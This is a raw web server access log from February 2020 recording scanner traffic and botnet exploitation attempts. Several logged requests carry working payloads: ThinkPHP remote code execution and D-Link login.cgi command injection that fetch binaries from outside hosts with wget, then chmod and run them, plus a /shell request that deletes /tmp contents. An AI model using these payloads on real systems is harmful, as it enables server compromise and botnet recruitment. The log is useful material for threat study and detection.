213.5.188.123 - - [15/Feb/2020:01:22:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.164.244.166 - - [15/Feb/2020:01:26:14 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
5.101.0.209 - - [15/Feb/2020:01:31:12 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [15/Feb/2020:01:31:16 +0100] "GET /solr/admin/info/system?wt=json HTTP/1.1" 404 327 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
167.57.250.218 - - [15/Feb/2020:01:34:48 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
165.255.103.248 - - [15/Feb/2020:01:37:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
27.216.245.215 - - [15/Feb/2020:01:37:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
122.102.217.153 - - [15/Feb/2020:01:39:29 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
156.226.18.81 - - [15/Feb/2020:01:41:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
156.226.18.81 - - [15/Feb/2020:01:41:08 +0100] "GET /robots.txt HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
156.226.18.81 - - [15/Feb/2020:01:41:09 +0100] "POST /Admin51f65bd4/Login.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:45.0) Gecko/20100101 Firefox/45.0"
5.101.0.209 - - [15/Feb/2020:01:42:01 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [15/Feb/2020:01:42:04 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [15/Feb/2020:01:42:05 +0100] "GET /?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [15/Feb/2020:01:42:08 +0100] "GET /?XDEBUG_SESSION_START=phpstorm HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
109.117.198.174 - - [15/Feb/2020:01:46:12 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
5.160.212.127 - - [15/Feb/2020:01:46:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
5.101.0.209 - - [15/Feb/2020:01:48:11 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [15/Feb/2020:01:48:15 +0100] "GET /index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
78.186.137.112 - - [15/Feb/2020:01:52:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
148.71.44.68 - - [15/Feb/2020:01:57:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O /tmp/.unstablethink; chmod 777 /tmp/.unstablethink; /tmp/.unstablethink ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
218.158.126.72 - - [15/Feb/2020:01:57:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [15/Feb/2020:01:57:08 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [15/Feb/2020:01:57:15 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [15/Feb/2020:01:57:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
218.158.126.72 - - [15/Feb/2020:01:57:51 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
89.109.53.65 - - [15/Feb/2020:02:04:14 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
5.101.0.209 - - [15/Feb/2020:02:05:48 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [15/Feb/2020:02:07:10 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
5.101.0.209 - - [15/Feb/2020:02:08:25 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
125.231.24.239 - - [15/Feb/2020:02:09:27 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://jhasdjahsdjasfkdaskdfasBOT.niggacumyafacenet.xyz/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
27.115.124.9 - - [15/Feb/2020:02:12:38 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
27.115.124.10 - - [15/Feb/2020:02:12:48 +0100] "OPTIONS sip:nm SIP/2.0" 400 329 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:48 +0100] "Subscribe" 501 324 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:48 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
27.115.124.10 - - [15/Feb/2020:02:12:48 +0100] "\x05\x04" 501 317 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:12:48 +0100] "\x80\x9e\x01\x03\x01" 501 320 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:48 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:12:49 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:12:49 +0100] "HELP" 501 319 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:49 +0100] "" 501 315 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:49 +0100] "" 501 315 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:50 +0100] "<" 501 319 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:50 +0100] "HELP" 501 319 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:51 +0100] "0\x84" 501 317 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:12:51 +0100] "WWWOFFLE STATUS" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:51 +0100] "\x124" 501 317 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:51 +0100] "stats" 501 320 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:12:51 +0100] "\x16\x03" 501 317 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:12:51 +0100] "CONNECT01 v09" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:51 +0100] "get_info" 501 323 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:51 +0100] "serverstatus" 501 327 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:51 +0100] "#ST" 501 318 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:51 +0100] "\x16\x03" 501 317 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:51 +0100] "GET SERVER INFO" 400 329 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:12:51 +0100] "LO_SERVER_CLIENT_PAIR" 501 336 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:51 +0100] "show info" 400 329 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:12:51 +0100] "TSH " 501 318 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:51 +0100] "GET /server-info HTTP/1.1" 400 329 "-" "iPhoto/9.1.1  (Macintosh; N; PPC)"
27.115.124.75 - - [15/Feb/2020:02:12:51 +0100] "fox a 1 -1 fox hello" 400 396 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:51 +0100] "NXSH-5.6.7" 501 325 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:51 +0100] "GET /api HTTP/1.0" 404 304 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:12:51 +0100] "EHLO" 501 319 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:12:51 +0100] "Query" 501 320 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:51 +0100] "\x1b%-12345X@PJL INFO ID" 400 329 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:12:51 +0100] "init" 501 319 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:51 +0100] "*1" 501 317 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:12:51 +0100] "GET /?CAVIT HTTP/1.1" 400 329 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:51 +0100] "GET /version HTTP/1.1" 400 329 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:12:51 +0100] "ver" 501 318 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:51 +0100] "\x01default" 501 323 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:51 +0100] "< NTP/1.2 >" 400 329 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:12:51 +0100] "GET /hazelcast/rest/cluster HTTP/1.0" 404 323 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:51 +0100] "< NTP/1.1 >" 400 329 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:12:48 +0100] "< NTP/1.0 >" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:12:51 +0100] "<?xml version=\"1.0\" ?><methodCall><methodName>nmap.probe</methodName></methodCall>" 400 329 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:12:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
111.206.59.134 - - [15/Feb/2020:02:13:45 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:55 +0100] "OPTIONS sip:nm SIP/2.0" 400 329 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:55 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:55 +0100] "\x16\x03" 501 317 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:55 +0100] "HELP" 501 319 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:55 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:56 +0100] "\x16\x03" 501 317 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:56 +0100] "Query" 501 320 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:56 +0100] "stats" 501 320 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:56 +0100] "" 501 315 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:57 +0100] "" 501 315 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:57 +0100] "\x05\x04" 501 317 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:57 +0100] "Subscribe" 501 324 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "0\x84" 501 317 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "show info" 400 329 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:56 +0100] "< NTP/1.0 >" 400 329 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "*1" 501 317 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "HELP" 501 319 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "WWWOFFLE STATUS" 400 329 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "GET /version HTTP/1.1" 400 329 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "<?xml version=\"1.0\" ?><methodCall><methodName>nmap.probe</methodName></methodCall>" 400 329 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "CONNECT01 v09" 400 329 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "#ST" 501 318 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "\x124" 501 317 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "\x1b%-12345X@PJL INFO ID" 400 329 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "NXSH-5.6.7" 501 325 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "<" 501 319 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "GET /server-info HTTP/1.1" 400 329 "-" "iPhoto/9.1.1  (Macintosh; N; PPC)"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "init" 501 319 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "\x80\x9e\x01\x03\x01" 501 320 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "serverstatus" 501 327 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "get_info" 501 323 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "EHLO" 501 319 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "GET /api HTTP/1.0" 404 304 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "GET SERVER INFO" 400 329 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "\x01default" 501 323 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "LO_SERVER_CLIENT_PAIR" 501 336 "-" "-"
111.206.59.142 - - [15/Feb/2020:02:13:58 +0100] "ver" 501 318 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "GET /?CAVIT HTTP/1.1" 400 329 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "GET /hazelcast/rest/cluster HTTP/1.0" 404 323 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "fox a 1 -1 fox hello" 400 396 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "TSH " 501 318 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "< NTP/1.1 >" 400 329 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "< NTP/1.2 >" 400 329 "-" "-"
111.206.59.134 - - [15/Feb/2020:02:13:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
27.115.124.75 - - [15/Feb/2020:02:14:07 +0100] "OPTIONS / RTSP/1.0" 200 - "-" "-"
27.115.124.10 - - [15/Feb/2020:02:14:17 +0100] "OPTIONS sip:nm SIP/2.0" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:17 +0100] "" 501 315 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:17 +0100] "OPTIONS / HTTP/1.0" 200 - "-" "-"
27.115.124.10 - - [15/Feb/2020:02:14:17 +0100] "\x16\x03" 501 317 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:14:17 +0100] "HELP" 501 319 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:17 +0100] "\x16\x03" 501 317 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:14:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:14:18 +0100] "Query" 501 320 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:19 +0100] "Subscribe" 501 324 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:14:19 +0100] "stats" 501 320 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:19 +0100] "serverstatus" 501 327 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:14:19 +0100] "\x01default" 501 323 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:20 +0100] "NXSH-5.6.7" 501 325 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:14:20 +0100] "ver" 501 318 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:14:21 +0100] "\x124" 501 317 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:21 +0100] "\x05\x04" 501 317 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:14:21 +0100] "GET /nice%20ports%2C/Tri%6Eity.txt%2ebak HTTP/1.0" 404 328 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:14:22 +0100] "GET /api HTTP/1.0" 404 304 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:14:22 +0100] "GET /hazelcast/rest/cluster HTTP/1.0" 404 323 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:14:22 +0100] "<" 501 319 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:14:22 +0100] "get_info" 501 323 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:14:22 +0100] "WWWOFFLE STATUS" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:22 +0100] "\x80\x9e\x01\x03\x01" 501 320 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:22 +0100] "EHLO" 501 319 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:14:22 +0100] "fox a 1 -1 fox hello" 400 396 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:14:22 +0100] "HELP" 501 319 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:14:22 +0100] "TSH " 501 318 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:23 +0100] "GET /?CAVIT HTTP/1.1" 400 329 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:14:23 +0100] "LO_SERVER_CLIENT_PAIR" 501 336 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:14:23 +0100] "*1" 501 317 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:23 +0100] "GET /server-info HTTP/1.1" 400 329 "-" "iPhoto/9.1.1  (Macintosh; N; PPC)"
27.115.124.74 - - [15/Feb/2020:02:14:23 +0100] "" 501 315 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:14:23 +0100] "0\x84" 501 317 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:14:23 +0100] "show info" 400 329 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:14:23 +0100] "#ST" 501 318 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:14:23 +0100] "GET /version HTTP/1.1" 400 329 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:14:23 +0100] "CONNECT01 v09" 400 329 "-" "-"
27.115.124.10 - - [15/Feb/2020:02:14:23 +0100] "init" 501 319 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:14:23 +0100] "< NTP/1.1 >" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:23 +0100] "< NTP/1.2 >" 400 329 "-" "-"
27.115.124.9 - - [15/Feb/2020:02:14:18 +0100] "< NTP/1.0 >" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:22 +0100] "<?xml version=\"1.0\" ?><methodCall><methodName>nmap.probe</methodName></methodCall>" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:22 +0100] "\x1b%-12345X@PJL INFO ID" 400 329 "-" "-"
27.115.124.75 - - [15/Feb/2020:02:14:23 +0100] "GET SERVER INFO" 400 329 "-" "-"
27.115.124.74 - - [15/Feb/2020:02:15:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/10.1.2 Safari/603.3.8"
95.9.220.110 - - [15/Feb/2020:02:15:05 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
177.11.136.78 - - [15/Feb/2020:02:20:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
41.230.108.228 - - [15/Feb/2020:02:21:16 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
201.150.151.87 - - [15/Feb/2020:02:22:49 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
103.254.56.220 - - [15/Feb/2020:02:26:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
109.201.179.21 - - [15/Feb/2020:02:28:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
73.212.89.95 - - [15/Feb/2020:02:28:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
89.169.69.116 - - [15/Feb/2020:02:29:23 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
197.254.85.154 - - [15/Feb/2020:02:29:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
188.190.65.209 - - [15/Feb/2020:02:32:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
191.8.191.54 - - [15/Feb/2020:02:46:58 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.237.113.117 - - [15/Feb/2020:02:48:05 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
115.187.233.105 - - [15/Feb/2020:02:51:46 +0100] "{D79E94C5-70F0" 501 329 "-" "-"
199.19.225.173 - - [15/Feb/2020:02:51:47 +0100] "POST /editBlackAndWhiteList HTTP/1.1" 404 326 "-" "ApiTool"
109.117.198.174 - - [15/Feb/2020:02:54:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
66.36.140.100 - - [15/Feb/2020:02:56:20 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
14.102.58.12 - - [15/Feb/2020:03:01:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
78.188.175.66 - - [15/Feb/2020:03:04:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
119.77.123.165 - - [15/Feb/2020:03:05:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
93.79.169.148 - - [15/Feb/2020:03:07:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
